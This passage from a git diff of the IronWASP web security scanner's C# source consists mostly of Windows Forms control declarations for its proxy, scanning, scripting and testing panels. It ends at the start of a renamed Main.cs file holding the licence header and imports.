ASRequestQuerySelectColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestQueryNameColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestQueryValueColumn; + private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestCookieSelectColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestCookieNameColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestCookieValueColumn; + private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestHeadersSelectColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestHeadersNameColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestHeadersValueColumn; + internal System.Windows.Forms.CheckBox ConfigureScanRequestSSLCB; + internal System.Windows.Forms.Button ASStartScanBtn; + private System.Windows.Forms.LinkLabel ViewProxyLogLink; + private System.Windows.Forms.ContextMenuStrip JSTainTraceEditMenu; + private System.Windows.Forms.ToolStripMenuItem AddSourceTaintToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem AddSinkTaintToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem RemoveSourceTaintToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem RemoveSinkTaintToolStripMenuItem; + private System.Windows.Forms.LinkLabel ConfigViewHideLL; + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.Label label30; + internal System.Windows.Forms.TextBox ConsoleStatusTB; + internal System.Windows.Forms.TextBox ConsoleScanUrlTB; + internal System.Windows.Forms.Button ConsoleStartScanBtn; + internal System.Windows.Forms.Label ScanJobsCompletedLbl; + internal System.Windows.Forms.Label ScanJobsCreatedLbl; + internal System.Windows.Forms.Label CrawlerRequestsLbl; + private System.Windows.Forms.TabPage ConfigTaintConfigTab; + private System.Windows.Forms.LinkLabel ConfigJSTaintConfigCancelChangesLL; + private System.Windows.Forms.LinkLabel ConfigJSTaintConfigApplyChangesLL; + private System.Windows.Forms.DataGridViewTextBoxColumn ConfigDefaultSourceObjectsColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ConfigDefaultSinkObjectsColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ConfigDefaultArgumentAssignedASourceMethodsColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ConfigDefaultArgumentAssignedToSinkMethodsColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ConfigDefaultSourceReturningMethodsColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ConfigDefaultSinkReturningMethodsColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ConfigDefaultArgumentReturningMethodsColumn; + internal System.Windows.Forms.DataGridView ConfigDefaultJSTaintConfigGrid; + private System.Windows.Forms.Label label31; + internal System.Windows.Forms.Label ConfigScannerThreadMaxCountLbl; + private System.Windows.Forms.ToolStripMenuItem SelectResponseForJavaScriptTestingToolStripMenuItem; + private System.Windows.Forms.LinkLabel ConfigScannerSettingsCancelChangesLL; + private System.Windows.Forms.LinkLabel ConfigScannerSettingsApplyChangesLL; + internal System.Windows.Forms.TrackBar ConfigScannerThreadMaxCountTB; + private System.Windows.Forms.ToolStripMenuItem RenderHTMLToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem CopyLineTaintToolStripMenuItem; + private System.Windows.Forms.Button LogOptionsBtn; + private System.Windows.Forms.Button ProxyOptionsBtn; + private System.Windows.Forms.TabPage ConfigPassiveAnalysisTab; + private System.Windows.Forms.LinkLabel ConfigPassiveAnalysisSettingsCancelChangesLL; + private System.Windows.Forms.LinkLabel ConfigPassiveAnalysisSettingsApplyChangesLL; + private System.Windows.Forms.Label label34; + internal System.Windows.Forms.CheckBox ConfigPassiveAnalysisOnProxyTrafficCB; + internal System.Windows.Forms.CheckBox ConfigPassiveAnalysisOnProbeTrafficCB; + internal System.Windows.Forms.CheckBox ConfigPassiveAnalysisOnScanTrafficCB; + internal System.Windows.Forms.CheckBox ConfigPassiveAnalysisOnTestTrafficCB; + internal System.Windows.Forms.CheckBox ConfigPassiveAnalysisOnShellTrafficCB; + private System.Windows.Forms.TabPage mt_scripting; + private System.Windows.Forms.SplitContainer ScriptingShellSplit; + internal System.Windows.Forms.Button ClearShellDisplayBtn; + internal System.Windows.Forms.Button MultiLineShellExecuteBtn; + internal System.Windows.Forms.Button InteractiveShellCtrlCBtn; + private System.Windows.Forms.TabControl ScriptingShellTabs; + private System.Windows.Forms.TabPage MultiLineShellTP; + internal ICSharpCode.TextEditor.TextEditorControl MultiLineShellInTE; + private System.Windows.Forms.TabPage ScriptedSendTP; + internal System.Windows.Forms.TextBox CustomSendErrorTB; + internal ICSharpCode.TextEditor.TextEditorControl CustomSendTE; + internal System.Windows.Forms.RichTextBox CustomSendBottomRtb; + internal System.Windows.Forms.RichTextBox CustomSendTopRtb; + private System.Windows.Forms.Label label1; + internal System.Windows.Forms.CheckBox CustomSendActivateCB; + private System.Windows.Forms.RadioButton CustomSendRubyRB; + private System.Windows.Forms.RadioButton CustomSendPythonRB; + internal System.Windows.Forms.RadioButton InteractiveShellRubyRB; + private System.Windows.Forms.Label label2; + internal System.Windows.Forms.RadioButton InteractiveShellPythonRB; + private System.Windows.Forms.SplitContainer ScriptingShellAPISplit; + private System.Windows.Forms.TabControl ScriptingShellAPITreeTabs; + private System.Windows.Forms.TabPage ScriptingShellAPITreePythonTab; + internal System.Windows.Forms.TreeView ScriptingShellPythonAPITree; + private System.Windows.Forms.TabPage ScriptingShellAPITreeRubyTab; + internal System.Windows.Forms.TreeView ScriptingShellRubyAPITree; + private System.Windows.Forms.RichTextBox ShellAPIDetailsRTB; + private System.Windows.Forms.TabPage InteractiveShellTP; + internal System.Windows.Forms.TextBox InteractiveShellPromptBox; + internal System.Windows.Forms.TextBox InteractiveShellOut; + internal System.Windows.Forms.TextBox InteractiveShellIn; + private System.Windows.Forms.Timer PromptBlinkTimer; + private System.Windows.Forms.Panel ShellInPanel; + private System.Windows.Forms.Button MainLogFrontFourBtn; + private System.Windows.Forms.Button MainLogFrontThreeBtn; + private System.Windows.Forms.Button MainLogFrontTwoBtn; + private System.Windows.Forms.Button MainLogFrontOneBtn; + private System.Windows.Forms.Button MainLogBackOneBtn; + private System.Windows.Forms.Button MainLogBackTwoBtn; + private System.Windows.Forms.Button MainLogBackThreeBtn; + private System.Windows.Forms.Button MainLogBackFourBtn; + internal System.Windows.Forms.Label MainLogStatusLbl; + internal System.Windows.Forms.Label MainLogStatLbl; + internal System.Windows.Forms.Label ScanTraceStatusLbl; + internal System.Windows.Forms.Label ScanTraceStatLbl; + private System.Windows.Forms.Button ScanTraceFrontFourBtn; + private System.Windows.Forms.Button ScanTraceBackOneBtn; + private System.Windows.Forms.Button ScanTraceFrontThreeBtn; + private System.Windows.Forms.Button ScanTraceBackFourBtn; + private System.Windows.Forms.Button ScanTraceFrontTwoBtn; + private System.Windows.Forms.Button ScanTraceBackThreeBtn; + private System.Windows.Forms.Button ScanTraceFrontOneBtn; + private System.Windows.Forms.Button ScanTraceBackTwoBtn; + private System.Windows.Forms.ToolStripMenuItem devToolsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem scriptPluginEditorToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem uIDesignerToolStripMenuItem1; + private System.Windows.Forms.TabPage mt_dev; + private System.Windows.Forms.TabControl DevMainTabs; + private System.Windows.Forms.TabPage DevModulesAndPluginsTab; + private System.Windows.Forms.TabPage DevTraceTab; + private System.Windows.Forms.SplitContainer TraceBaseSplit; + internal System.Windows.Forms.DataGridView TraceGrid; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn26; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn28; + private System.Windows.Forms.DataGridViewTextBoxColumn Column1; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn29; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn30; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn31; + internal System.Windows.Forms.RichTextBox TraceMsgRTB; + private System.Windows.Forms.SplitContainer PluginsMainSplit; + internal System.Windows.Forms.TreeView PluginAndModuleTree; + private System.Windows.Forms.SplitContainer PluginEditorSplit; + private System.Windows.Forms.SplitContainer PluginsCentreSplit; + internal System.Windows.Forms.RichTextBox PluginDetailsRTB; + internal ICSharpCode.TextEditor.TextEditorControl PluginEditorInTE; + private System.Windows.Forms.SplitContainer PluginEditorAPISplit; + private System.Windows.Forms.TabControl PluginEditorAPITreeTabs; + private System.Windows.Forms.TabPage PluginEditorPythonAPITreeTab; + internal System.Windows.Forms.TreeView PluginEditorPythonAPITree; + private System.Windows.Forms.TabPage PluginEditorRubyAPITreeTab; + internal System.Windows.Forms.TreeView PluginEditorRubyAPITree; + private System.Windows.Forms.RichTextBox PluginEditorAPIDetailsRTB; + private System.Windows.Forms.ToolStripMenuItem modulesToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem RunModulesOnFindingToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem RunModulesOnUrlToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem RunModulesOnRequestResponseToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem SelectedModuleReloadToolStripMenuItem; + private System.Windows.Forms.TabPage OtherLogTab; + private System.Windows.Forms.SplitContainer OtherLogsTabBaseSplit; + internal System.Windows.Forms.DataGridView OtherLogSourceGrid; + internal System.Windows.Forms.DataGridView OtherLogGrid; + private System.Windows.Forms.DataGridViewTextBoxColumn LogGridColumnForID; + private System.Windows.Forms.DataGridViewTextBoxColumn LogGridColumnForHostName; + private System.Windows.Forms.DataGridViewTextBoxColumn LogGridColumnForMethod; + private System.Windows.Forms.DataGridViewTextBoxColumn LogGridColumnForURL; + private System.Windows.Forms.DataGridViewTextBoxColumn LogGridColumnForFile; + private System.Windows.Forms.DataGridViewCheckBoxColumn LogGridColumnForSSL; + private System.Windows.Forms.DataGridViewTextBoxColumn LogGridColumnForParameters; + private System.Windows.Forms.DataGridViewTextBoxColumn LogGridColumnForCode; + private System.Windows.Forms.DataGridViewTextBoxColumn LogGridColumnForLength; + private System.Windows.Forms.DataGridViewTextBoxColumn LogGridColumnForMIME; + private System.Windows.Forms.DataGridViewCheckBoxColumn LogGridColumnForSetCookie; + private System.Windows.Forms.TabPage ASRequestTab; + private System.Windows.Forms.TabPage ASInjectionPointTab; + internal System.Windows.Forms.TabControl ASBaseTabs; + private System.Windows.Forms.TabPage ASBodyTypeNormalTab; + private System.Windows.Forms.TabPage ASBodyTypeFormatPluginTab; + private System.Windows.Forms.TabPage ASBodyTypeCustomTab; + private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestBodyDataFormatSelectColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestBodyDataFormatColumn; + private System.Windows.Forms.DataGridViewCheckBoxColumn ASRequestBodySelectColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestBodyNameColumn; + private System.Windows.Forms.DataGridViewTextBoxColumn ASRequestBodyValueColumn; + internal System.Windows.Forms.DataGridView ASRequestScanBodyTypeNormalGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn1; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn15; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn16; + private System.Windows.Forms.Label label37; + private System.Windows.Forms.Label label39; + private System.Windows.Forms.Label label38; + internal System.Windows.Forms.RichTextBox ASRequestCustomInjectionPointsHighlightTB; + internal System.Windows.Forms.TextBox ASCustomEndMarkerTB; + internal System.Windows.Forms.TextBox ASCustomStartMarkerTB; + internal System.Windows.Forms.Label ASRequestCustomInjectionPointsHighlightLbl; + internal System.Windows.Forms.TabControl ASBodyInjectTypeTabs; + internal System.Windows.Forms.Button ASClearScanBtn; + private System.Windows.Forms.Panel panel2; + private System.Windows.Forms.LinkLabel ASStartAllStoppedAndAbortedScansLL; + private System.Windows.Forms.LinkLabel ASStopAllScansLL; + internal System.Windows.Forms.CheckBox ASRequestScanParameterNamesCB; + private System.Windows.Forms.TabPage ASRequestParameterNamesTab; + private System.Windows.Forms.TextBox textBox1; + private System.Windows.Forms.Button CreateNewTestRequestBtn; + private System.Windows.Forms.TextBox textBox2; + internal System.Windows.Forms.ListView TestGroupsLV; + private System.Windows.Forms.Label label36; + private System.Windows.Forms.LinkLabel MTDeleteGroupLL; + private System.Windows.Forms.LinkLabel MTRenameGroupLL; + private System.Windows.Forms.Label label40; + private System.Windows.Forms.Label label41; + private System.Windows.Forms.LinkLabel TestAdvancedOptionsHelpLL; + private System.Windows.Forms.Panel panel4; + internal System.Windows.Forms.TextBox MTCurrentGroupNameTB; + internal System.Windows.Forms.TextBox TestGroupsTitleTB; + internal System.Windows.Forms.TabControl MTResponseSideTabs; + private System.Windows.Forms.TabPage MTResponseTab; + internal System.Windows.Forms.Button MTFollowRedirectBtn; + private System.Windows.Forms.TabPage MTGroupHistoryTab; + internal System.Windows.Forms.Button MTGetRedirectBtn; + private System.Windows.Forms.TabControl ScanTraceTabs; + private System.Windows.Forms.TabPage ScanTraceOverviewTab; + private System.Windows.Forms.TabPage ScanTraceDetailedInfoTab; + internal System.Windows.Forms.DataGridView ScanTraceOverviewGrid; + private System.Windows.Forms.DataGridViewTextBoxColumn Column4; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn17; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn18; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn19; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn20; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn21; + private System.Windows.Forms.DataGridViewTextBoxColumn Column5; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn22; + internal RequestView LogRequestView; + internal ResponseView LogResponseView; + internal RequestView ProxyRequestView; + private System.Windows.Forms.DataGridViewCheckBoxColumn dataGridViewCheckBoxColumn9; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn27; + private System.Windows.Forms.Panel ProxyBottomPanel; + internal System.Windows.Forms.Label SessionPluginLbl; + private System.Windows.Forms.TextBox textBox3; + internal System.Windows.Forms.Panel ScanDisplayPanel; + internal System.Windows.Forms.Panel ScanTopPanel; + internal System.Windows.Forms.SplitContainer ScanJobsBaseSplit; + internal System.Windows.Forms.Button StartLogAnalyzerBtn; + private System.Windows.Forms.SplitContainer ScanTraceTopSplit; + private System.Windows.Forms.SplitContainer ScanTraceBottomSplit; + internal System.Windows.Forms.Label label4; + private System.Windows.Forms.Button LoadSelectedTraceBtn; + private System.Windows.Forms.SplitContainer LogsBottomSplit; + private System.Windows.Forms.SplitContainer LogsTopSplit; + private System.Windows.Forms.SplitContainer MTFirstBaseSplit; + private System.Windows.Forms.SplitContainer MTBaseTopSplit; + private System.Windows.Forms.SplitContainer TestBaseRequestSplit; + private System.Windows.Forms.SplitContainer ScanJobsBottomSplit; + private System.Windows.Forms.SplitContainer ScanJobsTopSplit; + internal ResponseView ProxyResponseView; + internal ResponseView TestResponseView; + internal RequestView TestRequestView; + private System.Windows.Forms.SplitContainer TestGroupHistoryBaseSplit; + private System.Windows.Forms.Button TestGroupHistoryDoDiffBtn; + private System.Windows.Forms.DataGridViewCheckBoxColumn TestGroupLogGridForSelect; + private System.Windows.Forms.DataGridViewTextBoxColumn TestGroupLogGridForID; + private System.Windows.Forms.DataGridViewTextBoxColumn TestGroupLogGridForHost; + private System.Windows.Forms.DataGridViewTextBoxColumn TestGroupLogGridForMethod; + private System.Windows.Forms.DataGridViewTextBoxColumn TestGroupLogGridForURL; + private System.Windows.Forms.DataGridViewCheckBoxColumn TestGroupLogGridForSSL; + private System.Windows.Forms.DataGridViewTextBoxColumn TestGroupLogGridForCode; + private System.Windows.Forms.DataGridViewTextBoxColumn TestGroupLogGridForLength; + private System.Windows.Forms.DataGridViewTextBoxColumn TestGroupLogGridForMIME; + private System.Windows.Forms.DataGridViewCheckBoxColumn TestGroupLogGridForSetCookie; + private System.Windows.Forms.TabControl TraceMainTabs; + private System.Windows.Forms.TabPage SessionPluginTraceTab; + private System.Windows.Forms.TabPage DebugTraceTab; + private System.Windows.Forms.SplitContainer SessionPluginTraceBaseSplit; + internal System.Windows.Forms.DataGridView SessionPluginTraceGrid; + private System.Windows.Forms.TabPage SessionPluginTraceMessageTab; + internal System.Windows.Forms.RichTextBox SessionPluginTraceMsgRTB; + private System.Windows.Forms.TabPage SessionPluginTraceLogViewTab; + internal System.Windows.Forms.TabControl SessionPluginTraceSessionTabs; + private System.Windows.Forms.TabPage tabPage12; + internal RequestView SessionPluginTraceRequestView; + private System.Windows.Forms.TabPage tabPage3; + internal ResponseView SessionPluginTraceResponseView; + private System.Windows.Forms.SplitContainer SessionPluginTraceMsgBaseSplit; + private System.Windows.Forms.TextBox textBox4; + internal System.Windows.Forms.ProgressBar SessionPluginTraceLoadLogProgressBar; + internal System.Windows.Forms.TabControl SessionPluginTraceBottomTabs; + private System.Windows.Forms.DataGridViewTextBoxColumn SessionPluginTraceIdClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn SessionPluginTraceLogIdClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn SessionPluginTraceLogSourceClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn SessionPluginTracePluginNameClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn SessionPluginTraceActionClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn SessionPluginTraceMessageClmn; + internal System.Windows.Forms.Button SessionPluginTraceLoadLogBtn; + private System.Windows.Forms.Button MTMaximizeRequestViewBtn; + private System.Windows.Forms.Button MTMaximizeResponseViewBtn; + private System.Windows.Forms.Panel panel3; + private System.Windows.Forms.TextBox textBox5; + internal System.Windows.Forms.Button ShowScriptCreationAssistantBtn; + private System.Windows.Forms.TabPage ProxyScriptedInterceptTab; + internal System.Windows.Forms.TextBox ScriptedInterceptionErrorTB; + internal System.Windows.Forms.RichTextBox ScriptedInterceptionScriptBottomRTB; + private System.Windows.Forms.Label label42; + internal System.Windows.Forms.CheckBox ScriptedInterceptionActivateScriptCB; + private System.Windows.Forms.RadioButton ScriptedInterceptionRubyRB; + private System.Windows.Forms.RadioButton ScriptedInterceptionPythonRB; + private CodeTextBox ScriptedInterceptionCTB; + private System.Windows.Forms.SplitContainer ScriptedInterceptionBaseSplit; + private System.Windows.Forms.LinkLabel ShowScriptedInterceptionTemplateLL; + internal System.Windows.Forms.RichTextBox ScriptedInterceptionScriptTopRTB; + private System.Windows.Forms.Panel panel5; + private System.Windows.Forms.TextBox textBox6; + private System.Windows.Forms.SplitContainer ScriptedInterceptionBottomSplit; + internal System.Windows.Forms.Button ProxyDropBtn; + internal System.Windows.Forms.Button ProxySendBtn; + internal System.Windows.Forms.SplitContainer ProxyBaseSplit; + private System.Windows.Forms.DataGridViewTextBoxColumn LogSource; + private System.Windows.Forms.LinkLabel ShowScriptedSendTemplateLL; + private System.Windows.Forms.TabPage ProxyHelpTab; + private System.Windows.Forms.TextBox ProxyHelpTB; + private System.Windows.Forms.TabPage MTHelp; + private System.Windows.Forms.TextBox MTHelpTB; + private System.Windows.Forms.TabPage tabPage1; + private System.Windows.Forms.TextBox LogsHelpTB; + private System.Windows.Forms.TabPage ScriptingHelpTP; + private System.Windows.Forms.TextBox ScriptingHelpTB; + private System.Windows.Forms.TabPage DevHelpTab; + private System.Windows.Forms.TextBox DevHelpTB; + internal System.Windows.Forms.CheckBox ASRequestScanHeadersParameterNameCB; + internal System.Windows.Forms.CheckBox ASRequestScanCookieParameterNameCB; + internal System.Windows.Forms.CheckBox ASRequestScanBodyParameterNameCB; + internal System.Windows.Forms.CheckBox ASRequestScanQueryParameterNameCB; + private System.Windows.Forms.ToolStripMenuItem codingAssistantsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem scriptCreationAssistantToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem sessionPluginCreationAssistantToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem activePluginCreationAssistantToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem passivePluginCreationAssistantToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem moduleCreationAssistantToolStripMenuItem; + private System.Windows.Forms.Button LaunchPayloadEffectAnalyzerBtn; + internal System.Windows.Forms.LinkLabel TestUpdateCookieStoreLL; + internal System.Windows.Forms.LinkLabel TestUpdateFromCookieStoreLL; + private System.Windows.Forms.LinkLabel ViewProxyInterceptionConfigLink; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.LinkLabel ViewProxyDisplayFilterLink; + private System.Windows.Forms.Label label28; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn32; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn35; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn36; + private System.Windows.Forms.DataGridViewTextBoxColumn Column2; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn37; + private System.Windows.Forms.DataGridViewTextBoxColumn Column3; + private System.Windows.Forms.TabPage ResultsTriggerHighlightTab; + internal System.Windows.Forms.RichTextBox TriggerHighlightRTB; + private System.Windows.Forms.TabPage ResultsTriggerToolsTab; + private System.Windows.Forms.TabPage ResultsHelpTab; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.LinkLabel ResultsShowTriggersMenuLL; + private System.Windows.Forms.Label label32; + internal System.Windows.Forms.Panel ResultsTriggersComparePanel; + internal System.Windows.Forms.Panel ResultsScanTracePanel; + internal System.Windows.Forms.Panel ResultsTriggerOptionsPanel; + internal System.Windows.Forms.DataGridView SelectForDiffTriggersGrid; + private System.Windows.Forms.DataGridViewCheckBoxColumn SelectClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn1; + private System.Windows.Forms.Button DoDiffBtn; + private System.Windows.Forms.TextBox textBox7; + private System.Windows.Forms.Button ResultsShowScanTraceBtn; + internal RequestView ResultsRequestView; + internal ResponseView ResultsResponseView; + private System.Windows.Forms.SplitContainer TrigggerAnalysisToolsSplit; + private System.Windows.Forms.Label label6; + private System.Windows.Forms.Label label33; + internal System.Windows.Forms.Label ProxyPortLbl; + internal System.Windows.Forms.Label ProxyLoopbackLbl; + private System.Windows.Forms.ToolStripMenuItem generateReportToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem sequenceRecordingToolsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem LoginCSRFTokenSequenceRecorderToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem LoadRecodedSequenceToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem interactiveTestingToolsToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem TestForCSRFProtectionToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem TestForBrokenAuthenticationToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem TestForHiddenParameterToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem TestForPrvilegeEscalationToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem BrowserBasedCrawlerToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem WorkflowScannerToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem DOMXSSAnalyzerToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem LogsFromAnotherIronWASPProjectFileToolStripMenuItem; + private System.Windows.Forms.LinkLabel MainDocLL; + private System.Windows.Forms.Label label8; + private System.Windows.Forms.Label label11; + private System.Windows.Forms.LinkLabel ProxyOpenBrowserLL; + private System.Windows.Forms.ToolStripMenuItem webSocketMessageFormaterToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem webSocketClientToolStripMenuItem; + private System.Windows.Forms.CheckBox JsTraceEnableCB; + private System.Windows.Forms.GroupBox groupBox7; + private System.Windows.Forms.GroupBox groupBox6; + private System.Windows.Forms.GroupBox groupBox5; + private System.Windows.Forms.LinkLabel JsTraceReloadFilesLL; + private System.Windows.Forms.Label label35; + internal System.Windows.Forms.CheckBox JsTraceMonitorSetIntervalCB; + internal System.Windows.Forms.CheckBox JsTraceMonitorInnerHtmlCB; + internal System.Windows.Forms.CheckBox JsTraceMonitorSetTimeoutCB; + internal System.Windows.Forms.CheckBox JsTraceMonitorEvalCB; + internal System.Windows.Forms.CheckBox JsTraceMonitorXhrCB; + internal System.Windows.Forms.CheckBox JsTraceMonitorNonNativeMethodCB; + private System.Windows.Forms.TabPage mt_js; + private System.Windows.Forms.SplitContainer JsTraceBaseSplit; + private System.Windows.Forms.TabPage tabPage2; + private System.Windows.Forms.TabPage tabPage4; + internal System.Windows.Forms.CheckBox JsTraceMonitorFunctionMethodCB; + private System.Windows.Forms.TabPage JsTraceResultsObservationsTab; + private System.Windows.Forms.TabPage JsTraceResultsNativeMethodsTab; + private System.Windows.Forms.TabPage JsTraceResultsDomChangesTab; + private System.Windows.Forms.TabPage JsTraceResultsAjaxCallsTab; + private System.Windows.Forms.SplitContainer JsTraceResultsBaseSplit; + internal System.Windows.Forms.RichTextBox JsTraceResultsRTB; + internal System.Windows.Forms.DataGridView JsTraceResultsObservationsGrid; + internal System.Windows.Forms.DataGridView JsTraceResultsMethodCallsGrid; + internal System.Windows.Forms.DataGridView JsTraceResultsDomChangesGrid; + internal System.Windows.Forms.DataGridView JsTraceResultsAjaxCallsGrid; + internal System.Windows.Forms.TabControl JsTraceResultsTabs; + internal System.Windows.Forms.TabControl JsTraceTabs; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn2; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn3; + private System.Windows.Forms.DataGridViewTextBoxColumn Column7; + private System.Windows.Forms.DataGridViewTextBoxColumn JSTRObservationDetailsClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn8; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn13; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn9; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn10; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn11; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn4; + private System.Windows.Forms.DataGridViewTextBoxColumn JSTRNativeMethodCallDetailsClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn14; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn23; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn24; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn25; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn33; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn5; + private System.Windows.Forms.DataGridViewTextBoxColumn JSTRDomChangesDetailsClmn; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn38; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn39; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn40; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn41; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn42; + private System.Windows.Forms.DataGridViewCheckBoxColumn Column6; + private System.Windows.Forms.DataGridViewTextBoxColumn dataGridViewTextBoxColumn6; + private System.Windows.Forms.DataGridViewTextBoxColumn JSTRAjaxCallsDetailsClmn; + private System.Windows.Forms.Label label43; + } +} + diff --git a/IronWASP/Main.cs b/Iron/Main.cs similarity index 92% rename from IronWASP/Main.cs rename to Iron/Main.cs index 30c166a..81abdcd 100644 --- a/IronWASP/Main.cs +++ b/Iron/Main.cs @@ -1,5210 +1,5653 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see . -// - -using System; -using System.IO; -using System.Xml; -using System.Collections; -using System.Collections.Specialized; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Data.SQLite; -using System.Drawing; -using System.Text; -using System.Windows.Forms; -using System.Threading; -using System.Reflection; -using System.Net.Security; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using Microsoft.Scripting; -using Microsoft.Scripting.Runtime; -using Microsoft.Scripting.Hosting; -using IronPython; -using IronPython.Hosting; -using IronPython.Modules; -using IronPython.Runtime; -using IronPython.Runtime.Exceptions; -using IronRuby; -using IronRuby.Hosting; -using IronRuby.Runtime; -using IronRuby.StandardLibrary; - -namespace IronWASP -{ - public partial class Main : Form - { - public Main() - { - AppDomain.CurrentDomain.UnhandledException += new UnhandledExceptionEventHandler(Iron_UnhandledException); - Application.ThreadException += new ThreadExceptionEventHandler(IronUI_ThreadException); - InitializeComponent(); - } - - - private static void IronUI_ThreadException(object sender, System.Threading.ThreadExceptionEventArgs e) - { - DialogResult Result = DialogResult.No; - try - { - try { File.Delete(Config.RootDir + 